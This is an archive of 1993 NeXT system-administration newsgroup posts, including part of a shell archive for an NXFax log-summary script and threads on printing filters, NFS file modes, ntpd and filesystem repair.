/Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \ X { date=sprintf("%2d %s %s",$5,$4,$6) } X# this might be special to NXFax 1.02 X/%> NXFax: incoming call/ { call=true; calldate=date } X/%> NXFax: fax call/ { if (call) connected=true } X# this might be special to NXFax 1.03 X/%> NXFax: from/ { if (connected) { X calldate=date X number=substr($0,15,20) } X } X$4 ~ /halt/ { connected=false; call=false } X$4 ~ /resolution/ { res=$3 } X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) } X$3 ~ /page/ { pages=$4 } X$3 ~ /hangup/ { if ( substr($3, 8, 1) == 0 ) X { errors=$4" "$5 } X else X { errors="Hangup ERROR" } X } X/transmit time/ { ttime=$5 X if (connected) { X if (number=="call") { number="?" } X printf("%16s %-20s %3s %2s %s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed,ttime,errors) X split(ttime,ttimecomp,":") X t_ttime+=ttimecomp[1]*60+ttimecomp[2] X t_pages+=pages X } X resetvars() X } X# this can happen on an error like X# %> NXFax: hangup[70]: Unspecified receive Phase B error.
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Pt 3/4: NXFax logfile summary Message-ID: <734345081.AA00522@his.com> Date: Thu, 08 Apr 1993 23:21:18 X/call complete/ { if (connected) { X printf("%16s %-20s %3s %2s %s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed,ttime,errors) X split(ttime,ttimecomp,":") X t_ttime+=ttimecomp[1]*60+ttimecomp[2] X t_pages+=pages X } X resetvars() X } XEND { X t_th=int(t_ttime/3600); t_ttime-=3600*t_th; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X t_th,t_ttime/60,t_ttime%60,t_pages); X if ( t_pages != 0) { printf("\t~ %8.2f sec/page\n",t_ttime/t_pages) } X printf("\n") X }' ${LOGFILE} > ${TMPFRCV} 2>&1 X# X# Concatenate collected data X# X( X cat ${TMPFHED} X if [ `wc -l ${TMPFSND} | awk -e '{print $1}'` -gt 0 ] X then X echo "\n SEND FAX\n" X echo "Date Time Number pgs res kbps xmt conn errors\n" X cat ${TMPFSND} X if [ -r $COSTFILE ] X then X if [ `wc -l ${TMPFCST} | awk -e '{print $1}'` -gt 0 ] X then X echo "\nCost summary\t\t\t\t\t connect cost" X cat ${TMPFCST} X fi X else X cat ${TMPFCST} X fi X fi X if [ `wc -l ${TMPFRCV} | awk -e '{print $1}'` -gt 2 ] X then X echo "\n\n RECEIVE FAX\n" X echo "Date Time Number pgs res kbps xmt errors\n" X cat ${TMPFRCV} X fi X echo X) > ${TMPFSUM} 2>&1 X# Xif [ `wc -l ${TMPFSUM} | awk -e '{print $1}'` -gt 3 ] Xthen X cat ${TMPFSUM} | eval ${CMD} Xfi X# Xcleanup X# Xexit 0 NeXT! if test 15539 -ne "`wc -c < 'nxfaxsummary.sh'`" then echo shar: error transmitting "'nxfaxsummary.sh'" '(should have been 15539 characters)' fi chmod +x 'nxfaxsummary.sh' fi # end of overwriting check echo shar: extracting "'README'" '(1776 characters)' if test -f 'README' then echo shar: will not over-write existing file "'README'" else sed 's/^X//' << \NeXT! > 'README' X XNXFAXSUMMARY 1.0 April 8, 1993 X XThis shell script reads the log file of NXFax versions 1.02 and X1.03 and summarizes Fax traffic. X XUSAGE X nxfaxsummary.sh [ -help | -sample ] X nxfaxsummary.sh [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ] X XBy default, the script will search for a log file in the Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". An Xalternate log file can be specified with the option -l or as Xfirst argument to the script. X XIt will also look for a file called "nxfax.cost" in that Xdirectory describing the calling costs for various times and Xphone number prefixes. Invoking the script with the option X"-sample" will print a sample nxfax.cost. An extremely Xdetailed example is contained in nxfax.cost.detailed. An Xalternate cost description file can be specified with the Xoption "-c <costfile>". If no readable cost description file Xis found, only a summary of transmit time and average transmit Xtime per page is calculated. X XWith the option -m <address_list>, the summary is sent to the Xrecipients specified in address_list. X XINSTALLATION X XCopy the files nxfaxsummary.sh and nxfax.cost into X/etc/nxfax if you use NXFax version 1.02, or into X/usr/adm/nxfax if you use NXFax version 1.03. you need to have Xsuperuser privileges to do this. Edit nxfax.cost as Xappropriate for your site, see the instructions in Xnxfax.cost. X XLIMITATIONS X XThe cost computation does not care about the time of day a fax Xwas sent, even though most phone companies charge differently Xoutside of business hours. X XAUTHORS X XAndreas Muller XMathematisches Insitut der Universitaet XIm Neuenheimer Feld 288 XW-6900 Heidelberg 1 XGermany X[afm@mathi.uni-heidelberg.de] X XAdrian Steinmann XSteinmann Consulting XApollostrasse 21 XCH-8032 Zurich XSwitzerland X[ast@lia.di.epfl.ch] NeXT! if test 1776 -ne "`wc -c < 'README'`" then echo shar: error transmitting "'README'" '(should have been 1776 characters)' fi fi # end of overwriting check echo shar: extracting "'nxfax.cost'" '(2263 characters)' if test -f 'nxfax.cost' then echo shar: will not over-write existing file "'nxfax.cost'" else sed 's/^X//' << \NeXT! > 'nxfax.cost' X# X# NXFax Summary cost computation parameter file X# X# this file is read by nxfaxsummary.sh and used to compute X# approximate cost of fax traffic. The precision of this X# computation depends highly on the amount of detail given X# in this file. X# X# FORMAT: there are three types of lines: X# X# $<currency-string> X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments> X# +<prefix>:<comments> X# X# The line beginning with $ indicates the currency-string to use in X# the summary. X# Lines beginning with : give cost computation parameters X# Lines beginning with + are called summary lines and are used X# to indicate how costs have to be summarized by nxfaxsummary.sh X# X# nxfaxsummary.sh scans the called phone number and uses the parameters X# associated with the first matching <prefix> to compute the costs for X# this call. If t is the connect time in seconds, then the cost is computed X# according to the formula X# X# cost = connect-cost + (t/unit-time)*unit-cost X# X# connect-cost is the minimum fee per connection (0 in most situations) X# this can be used to account for the fact that connect X# time measured by NXFax usually is shorter than effective X# duration of call due to initial handshake X# unit-time is the duration in seconds of a time unit, X# unit-cost is the price of one unit, X# currency-string (self evident). X# X# Then nxfaxsummary.sh matches these computations against the prefixes X# in the summary lines to condense the summary down to the informative X# minimum. X# X# Lines beginning with # are ignored. X# X# EXAMPLE X$DM X:0041:0:12:0.23:calls to Switzerland X:00:0:12:0.23:other international calls X+00:International calls: X:0:0:60:0.23:calls within Germany (Fernzone) X::0:360:0.23:local calls (Nahzone) X+:calls within Germany: X# X# the nxfax.cost file should always include a line beginning X# with empty prefix string, this will be used as the default X# for phone numbers that don't match any other prefix. The X# same is true for summary lines: the minimum summary line X# ist X# +: X# X# Most phone companies charge differently during business hours X# and outside of business hours, use the parameters that are X# valid at those times when You send faxes. X# X# To be done: - differentiate between rates X# NeXT! if test 2263 -ne "`wc -c < 'nxfax.cost'`" then echo shar: error transmitting "'nxfax.cost'" '(should have been 2263 characters)' fi fi # end of overwriting check echo shar: extracting "'nxfax.cost.detailed'" '(1446 characters)' if test -f 'nxfax.cost.detailed' then echo shar: will not over-write existing file "'nxfax.cost.detailed'" else sed 's/^X//' << \NeXT! > 'nxfax.cost.detailed' X# X# nxfax.cost.detailed X# X# nauseatingly detailed nxfax.cost file X# X# We are in Germany: X$DM X# X# Here are international connections X:0020:0:10.666:0.23:Aegypt X:00355:0:10.666:0.23:Albania X:00213:0:10.666:0.23:Algeria X:0033:0:12:0.23:Andorra X:0032:0:12:0.23:Belgium X:00359:0:10.666:0.23:Bulgaria X:0045:0:12:0.23:Danemark X:00298:0:12:0.23:Faeroer X:00358:0:10.666:0.23:Findland X:0033:0:12:0.23:France X:00350:0:10.666:0.23:Gibraltar X:0030:0:12:0.23:Greece X:0044:0:12:0.23:Great Britain and Northern Ireland X:007:0:10.666:0.23:GUS (Ex USSR) X:00353:0:12:0.23:Ireland X:00354:0:10.666:0.23:Iceland X:00972:0:10.666:0.23:Israel X:0039:0:12:0.23:Italy X:00962:0:10.666:0.23:Jordan X:0038:0:10.666:0.23:Jugoslavia X:00218:0:10.666:0.23:Libya X:004175:0:12:0.23:Lichtenstein X:00352:0:12:0.23:Luxemburg X:00356:0:10.666:0.23:Malta X:00212:0:10.666:0.23:Marokko X:003393:0:12:0.23:Monaco X:0031:0:12:0.23:Netherlands X:0043:0:12:0.23:Austria X:0048:0:12:0.23:Poland X:0042:0:12:0.23:Checkoslovakia X:0034:0:12:0.23:Spain X:0047:0:10.666:0.23:Norway X:0040:0:10.666:0.23:Romania X:0046:0:10.666:0.23:Sweden X:00963:0:10.666:0.23:Syria X:0090:0:10.666:0.23:Turkey X:00216:0:10.666:0.23:Tunesia X:0036:0:10.666:0.23:Hungary X:00357:0:10.666:0.23:Cyprus X:001:0:7:0.23:Tarifzone 2a X:00:0:4.42:0.23:Tarifzone 3 X+00:International calls: X# X# Calls within Germany X:06:0:60:0.23:Regional Zone X:0:0:21:0.23:Long distance (Weitzone) X::0:360:0.23:Local Calls (Ortszone) X+:Calls within Germany: NeXT! if test 1446 -ne "`wc -c < 'nxfax.cost.detailed'`" then echo shar: error transmitting "'nxfax.cost.detailed'" '(should have been 1446 characters)' fi fi # end of overwriting check echo shar: extracting "'SAMPLE_OUTPUT'" '(1733 characters)' if test -f 'SAMPLE_OUTPUT' then echo shar: will not over-write existing file "'SAMPLE_OUTPUT'" else sed 's/^X//' << \NeXT! > 'SAMPLE_OUTPUT' XNXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17 X X SEND FAX X XDate Time Number pgs res kbps xmt conn errors X X23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors.
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Pt 4/4: NXFax logfile summary Message-ID: <734345081.AA00523@his.com> Date: Thu, 08 Apr 1993 23:21:18 X23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors. X 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors. X 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors. X11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors. X19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors. X25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors. X27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors. X XCost summary connect cost XInternational calls: 0:08:33 ~ 7.37 DM Xcalls within Germany: 0:00:00 ~ 0.00 DM XTotal cost: 7.37 DM X XTotal transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page X X X RECEIVE FAX X XDate Time Number pgs res kbps xmt errors X X16 Jan 09:28:36 1 hi 9.6 02:47 No errors. X17 Feb 08:39:57 2 hi 4.8 02:51 No errors. X19 Feb 17:09:12 1 hi 9.6 00:33 No errors. X19 Feb 17:20:47 1 hi 9.6 00:38 No errors. X26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors. X XTotal transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page X NeXT! if test 1733 -ne "`wc -c < 'SAMPLE_OUTPUT'`" then echo shar: error transmitting "'SAMPLE_OUTPUT'" '(should have been 1733 characters)' fi fi # end of overwriting check echo shar: done with directory "'nxfaxsummary'" cd .. # End of shell archive exit 0
From: "Steve.Hayman"@f716.n109.z1.his.com ("Steve Hayman") Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: NeXTOS and PPD files!?!?! Message-ID: <734345081.AA00531@his.com> Date: Thu, 08 Apr 1993 18:27:53 Organization: Objectario Um, in retrospect the solution I was suggesting won't work exactly as stated, 'cause I think lpd only runs the "if=" input filter on the machine which it thinks is actually doing the spooling - i.e. the machine named by the "rm=" thing and if you had "rm=actualPrinterItself", nobody would run the custom input filter. I am sure thre is a way around this, possibly by having all your NeXTs spool your output to a central NeXT, and having that one run the input filter *but* as the last stage in the filter, after the postscript has been filtered through psprepare, pipe it into "lpr -PTheActualPrinter". A two-stage process, using two printer definitions in NetInfo. Not the most elegant solution but it might work well enough.
From: Bryan.Milligan@f716.n109.z1.his.com (Bryan Milligan) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: One way to forward mail to different mailboxes. Message-ID: <734345121.AA00740@his.com> Date: Fri, 09 Apr 1993 02:39:42 Organization: Texas A&M University, College Station, TX Since I posted my original question on how to forward mail to different mailboxes, I've received numerous requests for the answers. The first thing to do is to get the following: mailforward (readily available) perl (also readily available) Uncompress and untar and you're halfway there. The trick to installing perl on a NeXT is to be aware the the include files are in two different directories: /usr/include/ansi and /usr/include/bsd. Either tell the configure script to look in both places or create one linked directory, otherwise it's pretty straightforward. Mailforward is a perl script that sorts the incoming mail according to user specified strings in the mail header. Installation is relatively simple; however, to work correctly the destination mailboxes must not be open or all the mail winds up in Active.mbox (or the default), even if mail is hidden. Hope this helps. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
From: Gordon.O.Tillman@f716.n109.z1.his.com (Gordon O Tillman) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Printing Mac (System 7) P.S. on NeXT Laserprinter Message-ID: <734345121.AA00773@his.com> Date: Thu, 08 Apr 1993 16:03:11 Organization: Shell Oil Hello all, I have failed miserably in my recent attempts to print PostScript files created on the Mac (which is running System 7) on my NeXT laserprinter. I looked in the faq file and didn't see an answer, and also tried applying some information that was thoughfully provided to me by Ken Lui, which was: > I've had success transferring postscript files from the Mac to > the NeXT and printing them. When generating the postscript files > from the Mac, at the print dialog box, issue Command-K, not > Command-F. Command-K tells the driver to write the laserprep > header that's needed to process Mac-specific print files. Edit > the resultant postscript# file so the first line contains > %!PS-Adobe-2.0. The default laserprep header doesn't have this > so the NeXT will think you're printing a normal file without it, > giving you streams and streams of postscript source code. > Alternatively, you can hack the laserprep LROM and include it. > (It's in LaserPrep, resource POST, ID -8192, string #1. After > modifying, it should look like: > %!PS-Adobe-2.0 > %%Title: "Laser Prep -- The Apple PostScript Dictionary (md)" > %%Creator: Apple Software Engineering > %%CreationDate: Thursday, March 19, 1987 > ) > I've used the above to print stuff from MS WORD 4.00, even the > tables feature...the application from hell...if it works, > anything should :-) BTW, the NeXT doesn't do bitmap smoothing > although you can get some info on that type of support on > sumex-aim.stanford.edu... I remember trying this when I ran System 6 on the Mac and it seemed to work fine. But now, when I opened my postscript file, I saw that it already had the "%!PS-Adobe-2.0" entry as the first line... Now, I can take this same file and put it on a Sun workstation and lpr it to the Sun's laserprinter (which is really no surprise, as I believe Apple makes Sun's laserprinters). If anyone can suggest an alternative method that might make this work, I would be much obliged. Gordon -- Gordon O. Tillman Shell Oil Company Technical Customer Support - Infrastructure 1500 O.S.T., Rm. 7Q04 Email: got@shell.com, Profs: GOT Houston, TX 77054 Voice: 713-245-2777, Fax: 713-245-2659, SSN: 423-2777
From: Lorien.Pratt@f716.n109.z1.his.com (Lorien Pratt) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Trouble with booting next: kern_loader: Link Failed: Help! Message-ID: <734345121.AA00830@his.com> Date: Fri, 09 Apr 1993 00:52:16 Organization: Colorado School of Mines Hi, Suddenly the other day my Cube crashed, and when I rebooted, I got the following error messages: Apr 7 16:15:21 franklinite mach: master cpu at slot 0. Apr 7 16:15:23 franklinite netmsgserver[72]: network_init Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:26 franklinite kern_loader: kern_loader: server mididriver won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: server mididriver won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't link Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't link Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't link Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't link .... Apr 7 16:33:43 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:33:43 franklinite WindowServer[173]: Problem starting the NeXTdimension.psdrvr driver. Continuing. My SysAdmin tells me she's seen these messages before, but they never interfered with a machine. However, I have a NextDimension, and now the console won't display any windows. However, the rest of the computer works fine! Please help me if you've seen this before! --Lori -- L. Y. Pratt Dept. of Math and Computer Science lpratt@franklinite.mines.colorado.edu Colorado School of Mines (303) 273-3878 (work) 402 Stratton (303) 278-4552 (home) Golden, CO 80401, USA
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Bad super-block...now what? Message-ID: <C57DoB.5wn@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Apr6.071515.7748@ncsa.uiuc.edu> <1993Apr6.165750.9816@bluerose.com> Distribution: na Date: Fri, 9 Apr 1993 06:21:32 GMT M_Carling@BlueRose.com (M Carling) writes: >In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu >(Kenneth Chang) writes: >> In the process of trying to upgrade from 2.1 to 3.0, I appear to have >> severely hosed the hard disk. >How many times do I have to post that 2.1 to 3.0 should be done using >BuildDisk.app rather than Upgrade.app? I have done literally more than 100 upgrades from 2.1 to 3.0 using Upgrade_3.0.app. Never had any trouble. Of course, there are benefits to rebuilding from scratch. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: Zenon.Fortuna@f716.n109.z1.his.com (Zenon Fortuna) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Bad super-block...now what? Message-ID: <734345162.AA01025@his.com> Date: Thu, 08 Apr 1993 16:08:09 Organization: Resonex Inc., Fremont CA In article <1993Apr6.165750.9816@bluerose.com> M_Carling@BlueRose.com (M Carling) writes: >In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu >(Kenneth Chang) writes: >> In the process of trying to upgrade from 2.1 to 3.0, I appear to have >> severely hosed the hard disk. > >How many times do I have to post that 2.1 to 3.0 should be done using >BuildDisk.app rather than Upgrade.app? > >M Carling >President, Bay Area NeXT Group Anyway, you may try to repair the superblock. The "fsck" has the option to use an alternate superblock. As superuser type # fsck -b 16 /dev/rsd0a It would make sense to boot first from a Bootable floppy. -Z.
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: network time Message-ID: <C57E4A.6wD@ux1.cso.uiuc.edu> Keywords: ntp Organization: University of Illinois at Urbana References: <1993Apr8.072555.27105@urz.unibas.ch> Date: Fri, 9 Apr 1993 06:31:08 GMT frank@ifi.unibas.ch (Robert Frank) writes: >Argh, now I know why PB is causing me troubles: my ntpd isn't doning it's job. >So files accessed through nfs don't have the right time stamp. >Now, the big question is, why isn't ntpd working correctly. I have 'network' >time enabled in the host manager and ntpd _is running_. But my local clock is >always out of sync with the nfs server's clock. Even if I explicitly resync >with the preferences, nothing happens. >Any guesses, solutions? Have you set up any time servers with HostManager.app? It is under Network->Network Time Configuration. Choose the proper netinfo domain you want these changes to take effect in, and mark your time server with the 'Master' button. Make sure to click the 'Time Service Enabled' button. You will (most likely) need to reboot for ntpd to start up. If these time servers aren't in netinfo in the /locations/ntp entry, ntpd will just die when it is run in /etc/rc. This is sort of documented in the ntpd(8) man page. It still mentions NetManager under 3.0 but they have fixed the typo in 3.1. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: NXFax logfile summary Date: 9 Apr 1993 10:06:14 +0100 Organization: me organized? That's a joke! Message-ID: <1q3ea6$83j@steffi.demon.co.uk> References: <1993Apr8.212118.20237@ifi.unizh.ch> Keywords: NXFax logfile fax usage My initial investigation indicates that the format in nxfax.cost documented in wrong. I think instead of # :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments> It should be # :<prefix>:<connect-cost>:<unit-time>:<unit-cost>:<comments> In the script there is the following code costp[counter,"prefix"]=$1 costp[counter,"connect"]=$2 costp[counter,"tunit"]=$3 costp[counter,"unitc"]=$4 Correct me if im wrong. Also, I cannot get my 0101 calls to be recognised. (USA) Anyone in the UK get this bit going? -- "May I take your order now" "Yeah, sure I'll have one big mac, hold the onions" "You want fries with that?" "No thanks" (One computing honors grad to another)
Newsgroups: comp.sys.sun.admin,comp.sys.next.sysadmin From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) Subject: Re: Using Solaris 2.1 as mail host to BSD machines Message-ID: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> Organization: Home of BlackLabel References: <1pshql$31k@umd5.umd.edu> Date: Fri, 9 Apr 1993 12:05:32 GMT matthews@oberon.umd.edu (Mike Matthews) writes: >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's >mounting it as /usr/spool/mail, and that part seems to work OK. >The problem is, even though the sendmail.cf file (which is a main.cf file >with the asked-for values) specifies mode 0600 for the files, they come out >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure. >2) what's up with mail? I have no idea what's going on there. Ok, we had the same problems here with Solaris 2.1 as a file server for our NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong filemode for that file. All bits are set. After tracing the network traffic it was clear. Whats going on?? In NFS the attributes of a file are transferred in structure called fattr. All entries in this structure which should not be modified in a set attributes NFS call (NFSPROC_SETATTR) have to be -1. This is also valid for the the vnode (virtual node) file mode structure (vattr) of the physical filesystem. The attribute structure is converted from the vnode attributes (vattr) to the NFS structure (sattr). In vattr the mode field is u_short in sattr it is u_long (32bit int's as god intended int's to be). Seems to be no problem. But the vattr_to_sattr routine in Mach 'converts' the -1 (16bit) to a -1 (also 16bit)... Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992). I don't know if there is also a problem with 2.1, but I think a similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!]. [binpatch it with 'binpatch -f nfspatch.binpatch /sdmach' after making a backup from your /sdmach] nfspatch.binpatch: 256163 61 41 256166 2 0 [this patches a 'movew a2,a0@(0x2:w)' to a 'movel a2,a0@(0x0:w)'] This patch works for us, but remember: I am not responsible for any damage you cause to your filesystem with this patch. You use this patch on your own risk!!! cb -- [ Christian Baur, Muenchen-Germany | Suicide is an urban disease ] [ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
From: heading@signal.dra.hmg.gb (Anthony J.R. Heading) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXTOS and PPD files!?!?! Date: 9 Apr 1993 14:57:53 +0100 Organization: Defence Research Agency Message-ID: <1q3vd1INNder@liszt.dra.hmg.gb> References: <734345081.AA00531@his.com> Indeed. You can't run input filters in printcap entries for remote queues. Here's what I mailed to a few people last week. ---------------------------- Hi, Find below the perl script to insert the features from PPD files. I've called it /usr/lib/printer/ppd, but it can go anywhere and be called anything you like. It's fairly self-explanatory. It isn't in any sense a strictly-compliant PPD parser, it'll get confused by includes or foreign languages for example, but since none of these extensions are used by Adobe, that shouldn't matter. The most tedious bit is tweaking termcap. If the printer is connected to a serial line, it's fairly easy. Similarly if you put the script below as an "if" entry in the termcap of the machine which has the printer physically attached, it's fairly neat. The worst case, though, is if you need to transfer the processed file to a remote lpd. You have to write something like the following: ============= Extract from nidump termcap =========== ex33ps: \ :if=/usr/spool/NeXT/ex33ps/filter:lp=/dev/null: \ :sd=/usr/spool/NeXT/ex33ps:sh:ty=QMS-PS 810 Turbo: \ :note=Now in Demo Lab: ex33ps_direct: \ :lp=:rm=dupre:rp=ex33ps:sd=/usr/spool/NeXT/ex33ps_direct: \ :ty=QMS-PS 810 Turbo:note=Unfiltered: ===================================================== I've got two queues: ex33ps_direct was the original queue, and ex33ps is the new one for which the features work. As you can see, it "outputs" to /dev/null. This is OK because the input filter is =============== /usr/spool/NeXT/ex33ps/filter ========== #!/bin/sh PPD=/NextLibrary/PrinterTypes/English.lproj/QMS-PS_810.ppd /usr/lib/printer/ppd -d $PPD | /usr/ucb/lpr -Pex33ps_direct ========================================================= which resubmits the job to the "raw" queue after processing. Nasty, this is, but the BSD lpd code is very inflexible: in particular it doesn't run any filters on non-locally printed files, so you need to trick it like above. On most systems, you can put pipes into the termcap file, thus removing the need to put the above code in a file, but it seems that NeXTs are even more brain-dead than average in this area. In the spool directory is quite a good place for the filter - nothing ever tidies up that much. It would be fairly simple to search the netinfo database to find out which PPD file to use, but it's just not worth the bother. ============= /usr/lib/printer/ppd ============= #!/usr/local/bin/perl while($_=shift){ /-d/ && ($PPD=shift); } $PPD || die "PPD file not specified"; open PPD || die "failed to open ppd file: $!, stopping"; $ORIG_IRS=$/; line: while (<PPD>) { /\S/ || next line; /^\*/ || die "bad ppd file"; /^\*\s*\%/ && next line; /(\*[^\":]+):\s*(.+)/ && do { $feature=join(' ',split(' ',$1)); $_=$code=$2; /\"(.*)\"/ && do { $vals{$feature}=$1; next line; }; /\"/ && do { $/='"'; $_=<PPD> || die "unexpected end of PPD file"; chop; $code=$'.$_; $/=$ORIG_IRS;<PPD>;$_=<PPD>; /\*End/ || die "*End missing"; $vals{$feature}=$code; }; }; } while (<STDIN>) { print; /\%\%Feature:/ && do { $feature=join(' ',split(' ',$')); print $vals{$feature},"\n"; }; } =============================================== Any problems or success, let me know. If you haven't installed perl yet and are about to do so, beware that you need to link all the header files in /usr/include/ansi into /usr/include/bsd, otherwise the Configure script doesn't find stdio.h and it screws up. If it works, I guess I could post it. Cheers Anthony
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Problems with file corruption Message-ID: <1993Apr9.150734.19128@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Fri, 9 Apr 1993 15:07:34 GMT I have a disk that one of our employees saved some files to. He is trying to load up an Improv spreadsheet that he saved on the disk. There are /two/ Improv ss's on the disk - one loads up fine, the other doesn't. The error message I get is this: "An Error was returned by UNIX: Error on file positioning." The actual explanation of this is: "UNIX tried to find the file '%pathname%', but failed. Is there /any/ hope for this file? BTW, we have NeXT's here, with 2.0 on them. Thanks! -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: leshner@bend.ucsd.edu (William Leshner) Newsgroups: comp.sys.next.sysadmin Subject: I have destroyed my file system! Date: 9 Apr 1993 14:53:46 GMT Organization: Linguistics Department, UCSD Message-ID: <1q42lr$1ma@network.ucsd.edu> References: <734345081.AA00531@his.com> <1q3vd1INNder@liszt.dra.hmg.gb> In order to try to mark a bad block on my disk drive, I hit upon the brillian idea of running 'newfs'. Needless to say, this was a bad idea. I now no longer have any system at all. Is there anything I can do, or should I find someone with NS2.1 and reinstall a system? I don't have NS2.1 on any other medium, so I can't put it on myself. Thanks for any suggestions. will
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Printer (# of pages) accounting Message-ID: <1993Apr9.174047.22520@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Fri, 9 Apr 1993 17:40:47 GMT Hi there, Is there an easy way to keep track of the number of pages printed on the NeXT printers? Using the printcap "af" option provides accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but not of the number of pages printed. Also, on other printers, you can find out the number of pages printed since the printer was installed - usually listed on the banner page produced after powerup. Can the NeXT printer provide this information as well? Thank you, Jason -- Jason D. Blue jblue@mitre.org The MITRE Corporation, McLean VA
From: lpratt@slate.mines.colorado.edu (Lorien Pratt) Newsgroups: comp.sys.next.sysadmin Subject: Is there a command to help maintain duplicate file structures? Message-ID: <1993Apr9.152510.38321@slate.mines.colorado.edu> Date: 9 Apr 93 15:25:10 GMT Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt) Distribution: na Organization: Colorado School of Mines Hi, Does anybody know of a command or program that will help me to maintain two separate directory hierarchies of files to be identical? I.e. I have two mounted file systems, both with a directory ../Plans. I'd like to be able to change a file in file system 1, and then run a command that will detect that this version is more recent than the one in file system 2, and that will then copy it over. Perhaps some permutation on the ``find'' command will do this? --Lori -- L. Y. Pratt Dept. of Math and Computer Science lpratt@franklinite.mines.colorado.edu Colorado School of Mines (303) 273-3878 (work) 402 Stratton (303) 278-4552 (home) Golden, CO 80401, USA
